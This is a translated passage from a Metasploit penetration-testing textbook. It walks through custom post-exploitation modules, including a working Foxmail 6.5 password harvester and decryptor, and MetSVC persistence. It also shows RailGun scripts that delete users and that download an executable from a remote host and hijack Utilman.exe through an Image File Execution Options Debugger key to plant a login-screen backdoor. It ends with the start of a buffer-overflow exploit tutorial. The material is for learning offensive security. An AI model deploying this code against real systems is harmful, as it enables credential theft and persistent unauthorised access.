在前面的代码中，我们将路径设置为key1，将值设置为NoViewOnDrives，将驱动器D的十进制值设置为 16，将注册表的类型设置为REG_DWORD，并将视图设置为REGISTRY_VIEW_NATIVE，即 0。

对于 32 位注册表访问，我们需要将 1 作为视图参数提供，对于 64 位，我们需要提供 2。但是，这可以使用REGISTRY_VIEW_32_BIT和REGISTRY_VIEW_64_BIT来完成。

你可能想知道我们是如何知道对于驱动器E，我们需要将位掩码的值设置为16？让我们看看在下一节中如何计算位掩码。

要计算特定驱动器的位掩码，我们有公式2^([驱动器字符序号]-1)。假设我们需要禁用驱动器E；我们知道字符 E 是字母表中的第五个字符。因此，我们可以计算禁用驱动器E的确切位掩码值，如下所示：

2^ (5-1) = 2⁴= 16

位掩码值为16用于禁用E驱动器。然而，在前面的模块中，我们在drive_string方法中使用case开关硬编码了一些值。让我们看看我们是如何做到的：

def drive_string(drive) 
case drive 
when "A" 
return 1 

when "B" 
return 2 

when "C" 
return 4 

when "D" 
return 8 

when "E" 
return 16 
end 
end 
end 

我们可以看到，前面的方法接受一个驱动器字母作为参数，并将其对应的数字返回给调用函数。让我们看看目标系统上有多少个驱动器：

我们可以看到我们有两个驱动器，驱动器C和驱动器E。让我们也检查一下我们将在其中写入新键的注册表条目：

我们可以看到我们还没有一个 explorer 键。让我们运行模块，如下所示：

我们可以看到该键不存在，并且根据我们模块的执行，它应该已经在注册表中写入了键。让我们再次检查注册表：

我们可以看到我们有现有的键。注销并重新登录系统后，驱动器E应该已经消失了。让我们检查一下：

没有E驱动器的迹象。因此，我们成功地从用户视图中禁用了E驱动器，并限制了对其的访问。

根据我们的需求，我们可以创建尽可能多的后渗透模块。我建议您花一些额外的时间来了解 Metasploit 的库。

确保您对上述脚本具有SYSTEM级别访问权限，因为SYSTEM特权不会在当前用户下创建注册表，而是会在本地计算机上创建注册表。除此之外，我们使用了HKLM而不是写HKEY_LOCAL_MACHINE，因为内置的规范化将自动创建键的完整形式。我建议您检查registry.rb文件以查看各种可用的方法。

如果您没有系统权限，请尝试使用exploit/windows/local/bypassuac模块并切换到提升的 shell，然后尝试上述模块。

编写凭证收集后渗透模块

在这个示例模块中，我们将攻击 Foxmail 6.5。我们将尝试解密凭据并将其存储在数据库中。让我们看看代码：

class MetasploitModule < Msf::Post 
  include Msf::Post::Windows::Registry 
  include Msf::Post::File 
  include Msf::Auxiliary::Report 
  include Msf::Post::Windows::UserProfiles 

  def initialize(info={}) 
    super(update_info(info, 
      'Name'          => 'FoxMail 6.5 Credential Harvester', 
      'Description'   => %q{ 
This Module Finds and Decrypts Stored Foxmail 6.5 Credentials 
      }, 
      'License'       => MSF_LICENSE, 
      'Author'        => ['Nipun Jaswal'], 
      'Platform'      => [ 'win' ], 
      'SessionTypes'  => [ 'meterpreter' ] 
    )) 
  end 

就像我们在前面的模块中看到的那样；我们首先包括所有必需的库，并提供有关模块的基本信息。

我们已经看到了Msf::Post::Windows::Registry和Msf::Auxiliary::Report的用法。让我们看看我们在此模块中包含的新库的详细信息，如下所示：

包含语句	路径	用法
Msf::Post::Windows::UserProfiles	lib/msf/core/post/windows/user_profiles.rb	此库将提供 Windows 系统上的所有配置文件，包括查找重要目录、路径等。
Msf::Post::File	lib/msf/core/post/file.rb	此库将提供函数，将帮助文件操作，如读取文件、检查目录、列出目录、写入文件等。

在了解模块的下一部分之前，让我们看看我们需要执行哪些操作来收集凭据：

1. 我们将搜索用户配置文件，并找到当前用户的LocalAppData目录的确切路径。

2. 我们将使用先前找到的路径，并将其与\VirtualStore\Program Files (x86)\Tencent\Foxmail\mail连接起来，以建立到mail目录的完整路径。

3. 我们将从 mail 目录中列出所有目录，并将它们存储在一个数组中。但是，mail 目录中的目录名称将使用各种邮件提供程序的用户名命名约定。例如，nipunjaswal@rocketmail.com 将是 mail 目录中存在的目录之一。

4. 接下来，我们将在 mail 目录下找到帐户目录中的 Account.stg 文件。

5. 我们将读取 Account.stg 文件，并找到名为 POP3Password 的常量的哈希值。

6. 我们将哈希值传递给我们的解密方法，该方法将找到明文密码。

7. 我们将值存储在数据库中。

非常简单！让我们分析代码：

def run 
  profile = grab_user_profiles() 
  counter = 0 
  data_entry = "" 
  profile.each do |user| 
  if user['LocalAppData'] 
  full_path = user['LocalAppData'] 
  full_path = full_path+"\VirtualStore\Program Files (x86)\Tencent\Foxmail\mail" 
  if directory?(full_path) 
  print_good("Fox Mail Installed, Enumerating Mail Accounts") 
  session.fs.dir.foreach(full_path) do |dir_list| 
  if dir_list =~ /@/ 
  counter=counter+1 
  full_path_mail = full_path+ "\" + dir_list + "\" + "Account.stg" 
  if file?(full_path_mail) 
  print_good("Reading Mail Account #{counter}") 
  file_content = read_file(full_path_mail).split("n") 

在开始理解前面的代码之前，让我们看一下其中使用的重要函数，以便更好地了解其用法：

函数	库文件	用法
grab_user_profiles()	lib/msf/core/post/windows/user_profiles.rb	获取 Windows 平台上重要目录的所有路径
directory?	lib/msf/core/post/file.rb	检查目录是否存在
file?	lib/msf/core/post/file.rb	检查文件是否存在
read_file	lib/msf/core/post/file.rb	读取文件的内容
store_loot	/lib/msf/core/auxiliary/report.rb	将收集到的信息存储到文件和数据库中

我们可以看到在前面的代码中，我们使用 grab_user_profiles() 获取了配置文件，并尝试找到 LocalAppData 目录。一旦找到，我们将其存储在一个名为 full_path 的变量中。

接下来，我们将路径连接到列出所有帐户的 mail 文件夹。我们使用 directory? 检查路径是否存在，并在成功时使用正则表达式匹配将包含 @ 的目录名称复制到 dir_list 中。接下来，我们创建另一个名为 full_path_mail 的变量，并存储每封电子邮件的 Account.stg 文件的确切路径。我们确保使用 file? 来检查 Account.stg 文件是否存在。成功后，我们读取文件并在换行符处拆分所有内容。我们将拆分的内容存储到 file_content 列表中。让我们看代码的下一部分：

  file_content.each do |hash| 
  if hash =~ /POP3Password/ 
  hash_data = hash.split("=") 
  hash_value = hash_data[1] 
  if hash_value.nil? 
  print_error("No Saved Password") 
  else 
  print_good("Decrypting Password for mail account: #{dir_list}")  
  decrypted_pass = decrypt(hash_value,dir_list) 
  data_entry << "Username:" +dir_list + "t" + "Password:" + decrypted_pass+"n" 
  end 
  end 
  end 
  end 
  end 
  end 
  end 
  end 
  end 
  store_loot("Foxmail Accounts","text/plain",session,data_entry,"Fox.txt","Fox Mail Accounts") 
  end 

对于 file_content 中的每个条目，我们运行了一个检查，以查找常量 POP3Password。一旦找到，我们将常量在 = 处拆分，并将常量的值存储在一个名为 hash_value 的变量中。

接下来，我们直接将 hash_value 和 dir_list（帐户名）传递给 decrypt 函数。成功解密后，明文密码将存储在 decrypted_pass 变量中。我们创建另一个名为 data_entry 的变量，并将所有凭据附加到其中。我们这样做是因为我们不知道目标上可能配置了多少电子邮件帐户。因此，对于每个结果，凭据都会附加到 data_entry。所有操作完成后，我们使用 store_loot 方法将 data_entry 变量存储在数据库中。我们向 store_loot 方法提供了六个参数，分别为收集、内容类型、会话、data_entry、文件名和收集的描述。

让我们来了解解密函数，如下所示：

def decrypt(hash_real,dir_list) 
  decoded = "" 
  magic = Array[126, 100, 114, 97, 71, 111, 110, 126] 
  fc0 = 90 
  size = (hash_real.length)/2 - 1 
  index = 0 
  b = Array.new(size) 
  for i in 0 .. size do 
  b[i] = (hash_real[index,2]).hex  
  index = index+2 
  end 
  b[0] = b[0] ^ fc0 
  double_magic = magic+magic 
  d = Array.new(b.length-1) 
  for i in 1 .. b.length-1 do 
  d[i-1] = b[i] ^ double_magic[i-1] 
  end 
  e = Array.new(d.length) 
  for i in 0 .. d.length-1 
  if (d[i] - b[i] < 0) 
  e[i] = d[i] + 255 - b[i] 
  else 
  e[i] = d[i] - b[i] 
  end 
  decoded << e[i].chr 
  end 
  print_good("Found Username #{dir_list} with Password: #{decoded}") 
  return decoded 
  end 
  end 

在前面的方法中，我们收到了两个参数，即哈希密码和用户名。magic 变量是解密密钥，存储在一个包含 ~draGon~ 字符串的十进制值的数组中，依次存储。我们将整数 90 存储为 fc0，稍后我们将详细讨论。

接下来，我们通过将哈希除以 2 并减去 1 来找到哈希的大小。这将是我们新数组 b 的大小。

在下一步中，我们将哈希拆分为字节（每两个字符一个），并将其存储到数组 b 中。我们对数组 b 的第一个字节执行 XOR，将其与 fc0 执行 XOR，从而通过对其执行 XOR 操作来更新 b[0] 的值为 90。这对于 Foxmail 6.5 是固定的。

现在，我们将数组magic复制两次到一个新数组double_magic中。我们还声明double_magic的大小比数组b少一个。我们对数组b和double_magic数组的所有元素执行XOR操作，除了数组b的第一个元素，我们已经对其执行了 XOR 操作。

我们将 XOR 操作的结果存储在数组d中。在下一条指令中，我们将完整的数组d从数组b中减去。但是，如果特定减法操作的值小于 0，我们将向数组d的元素添加 255。

在下一步中，我们只需将结果数组e中特定元素的 ASCII 值附加到decoded变量中，并将其返回给调用语句。

让我们看看当我们运行这个模块时会发生什么：

很明显，我们轻松解密了存储在 Foxmail 6.5 中的凭据。

突破 Meterpreter 脚本

Meterpreter shell 是攻击者希望在目标上拥有的最理想的访问类型。Meterpreter 为攻击者提供了广泛的工具集，可以在受损系统上执行各种任务。Meterpreter 有许多内置脚本，这使得攻击者更容易攻击系统。这些脚本在受损系统上执行繁琐和直接的任务。在本节中，我们将看看这些脚本，它们由什么组成，以及我们如何在 Meterpreter 中利用它们。

基本的 Meterpreter 命令速查表可在以下网址找到：www.scadahackr.com/library/Documents/Cheat_Sheets/Hacking%20-%20Meterpreter%20Cheat%20%20Sheet.pdf。

Meterpreter 脚本的基本知识

就我们所见，我们在需要在系统上执行一些额外任务时使用了 Meterpreter。然而，现在我们将看一些可能在渗透测试中出现的问题情况，在这些情况下，Meterpreter 中已经存在的脚本似乎对我们没有帮助。在这种情况下，我们很可能希望向 Meterpreter 添加我们自定义的功能，并执行所需的任务。然而，在我们继续向 Meterpreter 添加自定义脚本之前，让我们先执行一些 Meterpreter 的高级功能，并了解其功能。

建立持久访问

一旦我们访问了目标机器，我们可以像在上一章中看到的那样转移到内部网络，但是保留辛苦获得的访问权限也是必要的。但是，对于经过批准的渗透测试，这应该只在测试期间是强制性的，并且应该在项目的范围内。Meterpreter 允许我们使用两种不同的方法在目标上安装后门：MetSVC和Persistence。

我们将在接下来的章节中看到一些高级的持久性技术。因此，在这里我们将讨论 MetSVC 方法。MetSVC 服务被安装在受损系统中作为一个服务。此外，它永久地为攻击者打开一个端口，以便他或她随时连接。

在目标上安装 MetSVC 很容易。让我们看看我们如何做到这一点：

我们可以看到，MetSVC 服务在端口31337创建了一个服务，并且还上传了恶意文件。

稍后，每当需要访问此服务时，我们需要使用metsvc_bind_tcp有效载荷和一个利用处理程序脚本，这将允许我们再次连接到服务，如下面的屏幕截图所示：

MetSVC 的效果甚至在目标机器重新启动后仍然存在。当我们需要对目标系统进行永久访问时，MetSVC 非常方便，因为它节省了重新利用目标所需的时间。

API 调用和混合

我们刚刚看到了如何使用 Meterpreter 执行高级任务。这确实使渗透测试人员的生活变得更加轻松。

现在，让我们深入了解 Meterpreter 的工作原理，并揭示 Meterpreter 模块和脚本的基本构建过程。有时，我们可能会用尽 Meterpreter 的功能，并希望自定义功能来执行所有所需的任务。在这种情况下，我们需要构建自己的自定义 Meterpreter 模块，以实现或自动化在利用时所需的各种任务。

让我们首先了解 Meterpreter 脚本的基础知识。使用 Meterpreter 进行编码的基础是应用程序编程接口（API）调用和混入。这些是使用特定的基于 Windows 的动态链接库（DLL）执行特定任务所需的，以及使用各种内置的基于 Ruby 的模块执行一些常见任务所需的。

混入是基于 Ruby 编程的类，其中包含来自各种其他类的方法。当我们在目标系统上执行各种任务时，混入非常有帮助。除此之外，混入并不完全属于 IRB，但它们可以帮助轻松编写特定和高级的 Meterpreter 脚本。

有关混入的更多信息，请参阅：www.offensive-security.com/metasploit-unleashed/Mixins_and_Plugins。

我建议大家查看/lib/rex/post/meterpreter和/lib/msf/scripts/meterpreter目录，以查看 Meterpreter 使用的各种库。

API 调用是用于从 Windows DLL 文件中调用特定函数的 Windows 特定调用。我们将在使用 RailGun部分很快学习有关 API 调用的知识。

制作自定义 Meterpreter 脚本

让我们来编写一个简单的示例 Meterpreter 脚本，它将检查我们是否是管理员用户，然后找到资源管理器进程并自动迁移到其中。

在查看代码之前，让我们看看我们将使用的所有基本方法：

函数	库文件	用法
is_admin	/lib/msf/core/post/windows/priv.rb	检查会话是否具有管理员权限。
is_in_admin_group	/lib/msf/core/post/windows/priv.rb	检查用户是否属于管理员组。
session.sys.process.get_processes()	/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb	列出目标上所有正在运行的进程。
session.core.migrate()	/lib/rex/post/meterpreter/client_core.rb	将访问从现有进程迁移到参数中指定的 PID。
is_uac_enabled?	/lib/msf/core/post/windows/priv.rb	检查 UAC 是否已启用。
get_uac_level	/lib/msf/core/post/windows/priv.rb	获取 UAC 级别：0,2,5 等。0：已禁用，2：全部，5：默认。

让我们看看以下代码：

#Admin Check 
print_status("Checking If the Current User is Admin") 
admin_check = is_admin? 
if(admin_check) 
print_good("Current User Is Admin") 
else 
print_error("Current User is Not Admin") 
end 

我们只是检查前面的代码中当前用户是否是管理员。函数is_admin返回一个布尔值，基于此我们打印结果：

#User Group Check 
user_check = is_in_admin_group? 
if(user_check) 
print_good("Current User is in the Admin Group") 
else 
print_error("Current User is Not in the Admin Group") 
end 

在先前的代码中，我们检查用户是否属于管理员组。在逻辑上，前面的代码片段与先前的代码非常相似：

#Process Id Of the Explorer.exe Process 
current_pid = session.sys.process.getpid 
print_status("Current PID is #{current_pid}") 
session.sys.process.get_processes().each do |x| 
if x['name'].downcase == "explorer.exe" 
print_good("Explorer.exe Process is Running with PID #{x['pid']}") 
explorer_ppid = x['pid'].to_i 
# Migration to Explorer.exe Process 
session.core.migrate(explorer_ppid) 
current_pid = session.sys.process.getpid 
print_status("Current PID is #{current_pid}") 
end 
end  

这里的代码段非常有趣。我们首先使用session.sys.process.getpid找到当前进程 ID，然后使用session.sys.process.get_processes()上的循环遍历目标系统上的所有进程。如果找到任何名称为explorer.exe的进程，我们打印出一条消息并将其 ID 存储到explorer_ppid变量中。使用session.core.migrate()方法，我们将存储的进程 ID（explorer.exe）传递到explorer.exe进程中进行迁移。最后，我们只是再次打印当前进程 ID，以确保我们是否成功迁移：

# Finding the Current User 
print_status("Getting the Current User ID") 
currentuid = session.sys.config.getuid 
print_good("Current Process ID is #{currentuid}") 

在先前的代码中，我们只是使用sessions.sys.config.getuid方法找到当前用户的标识符：

#Checking if UAC is Enabled 
uac_check = is_uac_enabled? 
if(uac_check) 
print_error("UAC is Enabled") 
uac_level = get_uac_level 
if(uac_level = 5) 
print_status("UAC level is #{uac_level.to_s} which is Default") 
elsif (uac_level = 2) 
print_status("UAC level is #{uac_level.to_s} which is Always Notify") 
else 
print_error("Some Error Occured") 
end 
else 
print_good("UAC is Disabled") 
end 

前面的代码检查了目标系统上是否启用了 UAC。如果启用了 UAC，我们进一步深入，使用get_uac_level方法找到 UAC 的级别，并通过其响应值打印状态。

让我们将这段代码保存在/scripts/meterpreter/gather.rb目录中，并从 Meterpreter 中启动此脚本。这将给您一个类似于以下屏幕截图的输出：

我们可以看到，创建 Meterpreter 脚本并执行各种任务和任务自动化是多么容易。我建议您检查模块中包含的所有文件和路径，以便广泛探索 Meterpreter。

根据 Metasploit 的官方维基，您不应再编写 Meterpreter 脚本，而应编写后渗透模块。

使用 RailGun

电磁炮听起来像是一种比光还快的枪，射出子弹；然而，事实并非如此。RailGun 允许您调用 Windows API，而无需编译自己的 DLL。

它支持许多 Windows DLL 文件，并为我们在受害者机器上执行系统级任务提供了便利。让我们看看如何使用 RailGun 执行各种任务，并进行一些高级的后渗透。

交互式 Ruby shell 基础知识

RailGun 需要将irb shell 加载到 Meterpreter 中。让我们看看如何从 Meterpreter 跳转到irb shell：

我们可以在前面的屏幕截图中看到，仅仅从 Meterpreter 中键入irb就可以让我们进入 Ruby 交互式 shell。我们可以在这里使用 Ruby shell 执行各种任务。

了解 RailGun 及其脚本

RailGun 给了我们巨大的力量，可以执行 Metasploit 有时无法执行的任务。使用 RailGun，我们可以向被侵入系统的任何 DLL 文件发出异常调用。

现在，让我们看看如何使用 RailGun 进行基本 API 调用，并了解其工作原理：

client.railgun.DLLname.function(parameters) 

这是 RailGun 中 API 调用的基本结构。client.railgun关键字定义了客户端对 RailGun 功能的需求。DLLname关键字指定了我们将要调用的 DLL 文件的名称。语法中的function (parameters)关键字指定了要使用来自 DLL 文件的所需参数来激发的实际 API 函数。

让我们看一个例子：

此 API 调用的结果如下：

在这里，调用了来自user32.dll DLL 文件的LockWorkStation()函数，导致了受损系统的锁定。

接下来，让我们看一个带参数的 API 调用：

client.railgun.netapi32.NetUserDel(arg1,agr2) 

当上述命令运行时，它会从客户端的机器中删除特定用户。目前，我们有以下用户：

让我们尝试删除Nipun用户名：

让我们检查用户是否已成功删除：

用户似乎已经去钓鱼了。RailGun 调用已成功删除了用户Nipun。nil值定义了用户在本地机器上。但是，我们也可以使用名称参数来针对远程系统。

操纵 Windows API 调用

DLL 文件负责在基于 Windows 的系统上执行大部分任务。因此，了解哪个 DLL 文件包含哪些方法是至关重要的。这与 Metasploit 的库文件非常相似，它们中有各种方法。要研究 Windows API 调用，我们在source.winehq.org/WineAPI/和msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx上有很好的资源。我建议在继续创建 RailGun 脚本之前，您探索各种 API 调用。

请参考以下路径，了解有关 RailGun 支持的 DLL 文件的更多信息：/usr/share/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def。

制作复杂的 RailGun 脚本

更进一步，让我们深入研究使用 RailGun 编写 Meterpreter 扩展的脚本。首先，让我们创建一个脚本，该脚本将向 Metasploit 上下文中添加一个自定义命名的 DLL 文件：

if client.railgun.get_dll('urlmon') == nil 
print_status("Adding Function") 
end 
client.railgun.add_dll('urlmon','C:\WINDOWS\system32\urlmon.dll') 
client.railgun.add_function('urlmon','URLDownloadToFileA','DWORD',[ 
["DWORD","pcaller","in"], 
["PCHAR","szURL","in"], 
["PCHAR","szFileName","in"], 
["DWORD","Reserved","in"], 
["DWORD","lpfnCB","in"], 
]) 

将代码保存在名为urlmon.rb的文件中，放在/scripts/meterpreter目录下。

上述脚本向C:\WINDOWS\system32\urlmon.dll文件添加了一个引用路径，其中包含所有浏览所需的函数，以及下载特定文件等功能。我们将此引用路径保存为urlmon的名称。接下来，我们使用 DLL 文件的名称作为第一个参数，我们将要挂钩的函数的名称作为第二个参数，即URLDownloadToFileA，然后是所需的参数，向 DLL 文件添加一个函数。代码的第一行检查 DLL 函数是否已经存在于 DLL 文件中。如果已经存在，脚本将跳过再次添加该函数。如果调用应用程序不是 ActiveX 组件，则将pcaller参数设置为NULL；如果是，则设置为 COM 对象。szURL参数指定要下载的 URL。szFileName参数指定从 URL 下载的对象的文件名。Reserved始终设置为NULL，lpfnCB处理下载的状态。但是，如果不需要状态，则应将此值设置为NULL。

现在让我们创建另一个脚本，该脚本将利用此功能。我们将创建一个后渗透脚本，该脚本将下载一个免费文件管理器，并将修改 Windows OS 上实用程序管理器的条目。因此，每当调用实用程序管理器时，我们的免费程序将代替运行。

我们在同一目录下创建另一个脚本，并将其命名为railgun_demo.rb，如下所示：

client.railgun.urlmon.URLDownloadToFileA(0,"http://192.168.1.10 /A43.exe","C:\Windows\System32\a43.exe",0,0) 
key="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe" 
syskey=registry_createkey(key) 
registry_setvaldata(key,'Debugger','a43.exe','REG_SZ') 

如前所述，脚本的第一行将调用自定义添加的 DLL 函数URLDownloadToFile，并提供所需的参数。

接下来，我们在父键HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options下创建一个名为Utilman.exe的键。

我们在utilman.exe键下创建一个名为Debugger的REG_SZ类型的注册表值。最后，我们将值a43.exe分配给Debugger。

让我们从 Meterpreter 运行此脚本，看看情况如何：

一旦我们运行railgun_demo脚本，文件管理器将使用urlmon.dll文件下载，并放置在system32目录中。接下来，创建注册表键，以替换实用程序管理器的默认行为，运行a43.exe文件。因此，每当从登录屏幕按下辅助功能按钮时，a43文件管理器将显示并作为目标系统上的登录屏幕后门。

让我们看看从登录屏幕按下辅助功能按钮时会发生什么，如下截图所示：

我们可以看到它打开了一个a43文件管理器，而不是实用程序管理器。现在我们可以执行各种功能，包括修改注册表、与 CMD 交互等，而无需登录到目标。您可以看到 RailGun 的强大之处，它简化了创建您想要的任何 DLL 文件的路径的过程，并且还允许您向其中添加自定义功能。

有关此 DLL 函数的更多信息，请访问：docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775123(v=vs.85)。

摘要和练习

在本章中，我们涵盖了 Metasploit 的编码工作。我们还研究了模块、后渗透脚本、Meterpreter、RailGun 和 Ruby 编程。在本章中，我们看到了如何向 Metasploit 框架添加我们自定义的功能，并使已经强大的框架变得更加强大。我们首先熟悉了 Ruby 的基础知识。我们学习了编写辅助模块、后渗透脚本和 Meterpreter 扩展。我们看到了如何利用 RailGun 添加自定义功能，比如向目标的 DLL 文件添加 DLL 文件和自定义功能。

为了进一步学习，您可以尝试以下练习：

• 为 FTP 创建一个身份验证暴力破解模块

• 为 Windows、Linux 和 macOS 各开发至少三个后渗透模块，这些模块尚不是 Metasploit 的一部分

• 在 RailGun 上工作，并为至少三个不同功能的 Windows DLL 开发自定义模块

在下一章中，我们将在 Metasploit 中的开发和利用模块的背景下进行研究。这是我们将开始编写自定义利用、对各种参数进行模糊测试以进行利用、利用软件，并为软件和网络编写高级利用的地方。

第十三章：利用公式化过程

本章主要是关于创建利用模块，并帮助理解内置的 Metasploit 实用程序如何改进创建过程。在本章中，我们将涵盖各种示例漏洞，并尝试开发利用这些漏洞的方法和方法。除此之外，我们的主要重点将放在为 Metasploit 构建利用模块上。我们还将涵盖各种工具，这些工具将有助于在 Metasploit 中编写利用程序。编写利用程序的一个重要方面是计算机体系结构。如果我们不包括体系结构的基础知识，我们将无法理解利用程序在较低层次上的工作方式。因此，让我们首先讨论一下系统体系结构和编写利用程序所需的基本要素。

在本章结束时，我们将更多地了解以下主题：

• 利用程序开发的阶段

• 编写利用程序时需要考虑的参数

• 各种寄存器的工作原理

• 如何模糊软件

• 如何在 Metasploit 框架中编写利用程序

• 使用 Metasploit 绕过保护机制

利用程序的绝对基础知识

在本节中，我们将看一下利用所需的最关键组件。我们将讨论在不同体系结构中支持的各种寄存器。我们还将讨论扩展指令指针（EIP）和扩展堆栈指针（ESP），以及它们在编写利用程序中的重要性。我们还将研究无操作（NOP）和跳转（JMP）指令，以及它们在编写各种软件的利用程序中的重要性。

基础知识

让我们先了解编写利用程序时必要的基础知识。

以下术语基于硬件、软件和安全角度来看待利用程序开发：

• 寄存器：这是处理器上用于存储信息的区域。此外，处理器利用寄存器来处理进程执行、内存操作、API 调用等。

• x86：这是一类系统体系结构，主要出现在基于英特尔的系统上，通常是 32 位系统，而 x64 是 64 位系统。

• 汇编语言：这是一种具有简单操作的低级编程语言。然而，阅读汇编代码并维护它是一件难事。

• 缓冲区：缓冲区是程序中的固定内存持有者，根据它们所持有的内存类型，它们将数据存储到堆栈或堆中。

• 调试器：调试器允许对可执行文件进行逐步分析，包括停止、重新启动、中断和操纵进程内存、寄存器、堆栈等。广泛使用的调试器包括 Immunity Debugger、GDB 和 OllyDbg。

• Shellcode：这是用于在目标系统上执行的机器语言。在历史上，它被用于运行一个 shell 进程，使攻击者能够访问系统。因此，shellcode 是处理器理解的一组指令。

• 堆栈：这充当数据的占位符，并使用后进先出（LIFO）方法进行存储，这意味着最后插入的数据首先被移除。

• 堆：堆是主要用于动态分配的内存区域。与堆栈不同，我们可以在任何给定时间分配、释放和阻塞。

• 缓冲区溢出：这意味着提供给缓冲区的数据超过了其容量。

• 格式字符串错误：这些是与文件或控制台中的打印语句相关的错误，当给定一组变量数据时，可能会透露有关程序的有价值的信息。

• 系统调用：这些是由正在执行的程序调用的系统级方法。

体系结构

体系结构定义了系统各个组件的组织方式。让我们先了解必要的组件，然后我们将深入研究高级阶段。

系统组织基础知识

在我们开始编写程序和执行其他任务，比如调试之前，让我们通过以下图表来了解系统中组件的组织结构：

我们可以清楚地看到系统中的每个主要组件都是通过系统总线连接的。因此，CPU、内存和 I/O 设备之间的所有通信都是通过系统总线进行的。

CPU 是系统中的中央处理单元，确实是系统中最重要的组件。因此，让我们通过以下图表来了解 CPU 中的组织结构：

上述图表显示了 CPU 的基本结构，包括控制单元（CU）、执行单元（EU）、寄存器和标志等组件。让我们通过下表来了解这些组件是什么：

组件	工作
控制单元	控制单元负责接收和解码指令，并将数据存储在内存中。
执行单元	执行单元是实际执行发生的地方。
寄存器	寄存器是占位内存变量，有助于执行。
Flags	这些用于指示执行过程中发生的事件。

寄存器

寄存器是高速计算机内存组件。它们也位于内存层次结构的速度图表的顶部。我们通过它们可以容纳的位数来衡量寄存器；例如，一个 8 位寄存器和一个 32 位寄存器分别可以容纳 8 位和 32 位的内存。通用目的、段、EFLAGS和索引寄存器是系统中不同类型的相关寄存器。它们负责执行系统中几乎每个功能，因为它们保存了所有要处理的值。让我们来看看它们的类型：

寄存器	目的
EAX	这是一个累加器，用于存储数据和操作数。大小为 32 位。
EBX	这是基址寄存器，指向数据的指针。大小为 32 位。
ECX	这是一个计数器，用于循环目的。大小为 32 位。
EDX	这是一个数据寄存器，存储 I/O 指针。大小为 32 位。
ESI/EDI	这些是用作内存操作数据指针的索引寄存器。它们也是 32 位大小。
ESP	这个寄存器指向栈顶，当栈中有数据被推入或弹出时，它的值会发生变化。大小为 32 位。
EBP	这是堆栈数据指针寄存器，大小为 32 位。
EIP	这是指令指针，大小为 32 位，在本章中是最关键的指针。它还保存着下一条要执行的指令的地址。
SS、DSES、CS、FS 和 GS	这些是段寄存器，大小为 16 位。

您可以在以下网址了解有关架构基础知识和各种系统调用和利用指令的更多信息：resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/#x86。

使用 Metasploit 利用基于栈的缓冲区溢出

缓冲区溢出漏洞是一种异常情况，当向缓冲区写入数据时，它超出了缓冲区的大小并覆盖了内存地址。以下图表显示了缓冲区溢出的一个基本示例：

上述图表的左侧显示了应用程序的外观。然而，右侧表示了应用程序在满足缓冲区溢出条件时的行为。

那么，我们如何利用缓冲区溢出漏洞呢？答案很简单。如果我们知道将覆盖 EIP（指令指针）开始之前的一切的确切数据量，我们可以将任何内容放入 EIP 并控制下一条指令的地址。

因此，首先要找出足够好的字节数，以填充 EIP 开始之前的所有内容。在接下来的部分中，我们将看到如何使用 Metasploit 实用程序找到确切的字节数。

崩溃易受攻击的应用程序

我们将使用一个使用不安全函数的自定义易受攻击的应用程序。让我们尝试从命令 shell 中运行该应用程序，如下所示：

我们可以看到这是一个小型示例应用程序，它监听 TCP 端口200。我们将通过 Telnet 连接到该应用程序的端口200并向其提供随机数据，如下面的屏幕截图所示：

在我们提供数据之后，我们会看到与目标的连接丢失。这是因为应用程序服务器崩溃了。让我们看看目标系统上的情况：

通过点击此处查看错误报告，我们可以看到以下信息：

崩溃的原因是应用程序未能处理下一条指令的地址，位于 41414141。这有什么提示吗？值 41 是字符 A 的十六进制表示。发生的情况是我们的输入越过了缓冲区的边界，继续覆盖了 EIP 寄存器。因此，由于下一条指令的地址被覆盖，程序尝试在 41414141 处找到下一条指令的地址，这不是有效地址。因此，它崩溃了。

从以下网址下载我们在示例中使用的示例应用程序：redstack.net/blog/category/How%20To.html。

构建利用基础

为了利用该应用程序并访问目标系统，我们需要了解以下表中列出的内容：

组件	用途
在上一节中，我们崩溃了应用程序。然而，为了利用该应用程序，我们需要知道足够填充空间和 EBP 寄存器的输入的确切大小，这样我们提供的任何内容都会直接进入 EIP 寄存器。我们将足够好以使我们正好在 EIP 寄存器之前的数据量称为偏移量。
跳转地址/Ret	这是要在 EIP 寄存器中覆盖的实际地址。澄清一下，这是来自 DLL 文件的 JMP ESP 指令的地址，它有助于跳转到有效负载。
坏字符	坏字符是可能导致有效负载终止的字符。假设包含空字节（0x00）的 shellcode 被发送到网络上。它将过早终止缓冲区，导致意外结果。应避免使用坏字符。

让我们通过以下图表来了解该应用程序的利用部分：

查看前面的图表，我们必须执行以下步骤：

1. 用用户输入覆盖缓冲区和 EBP 寄存器，就在 EIP 寄存器开始之前。足够好的值将是偏移值。

2. 用相关 DLL 中的 JMP ESP 地址覆盖 ESP。

3. 在有效负载之前提供一些填充以消除不规则性。

4. 最后，提供要执行的 shellcode。

在接下来的部分，我们将详细介绍所有这些步骤。

计算偏移量

正如我们在前一节中看到的，利用的第一步是找出偏移量。Metasploit 通过使用两个不同的工具pattern_create和pattern_offset来辅助这个过程。

使用 pattern_create 工具

在前一节中，我们发现通过提供随机数量的A字符，我们能够使应用程序崩溃。然而，我们已经学到，要构建一个有效的利用程序，我们需要找出这些字符的确切数量。Metasploit 内置的工具pattern_create可以在短时间内为我们完成这项工作。它生成的模式可以供应用程序使用，而不是A字符，并且根据覆盖 EIP 寄存器的值，我们可以使用其对应的工具pattern_offset快速找出确切的字节数。让我们看看如何做到这一点：

我们可以看到，在/tools/exploit/目录中运行pattern_create.rb脚本生成了 1000 字节的模式。这个输出可以提供给有漏洞的应用程序，如下所示：

查看目标端点，我们可以看到偏移值，如下截图所示：

我们有 72413372 作为覆盖 EIP 寄存器的地址。

使用 pattern_offset 工具

在前一节中，我们用 72413372 覆盖了 EIP 地址。让我们使用pattern_offset工具找出覆盖 EIP 所需的确切字节数。这个工具需要两个参数；第一个是地址，第二个是长度，使用pattern_create生成的长度为1000。让我们找出偏移量，如下所示：

确切匹配在 520 处找到。因此，在 520 个字符后的任何 4 个字节都成为 EIP 寄存器的内容。

查找 JMP ESP 地址

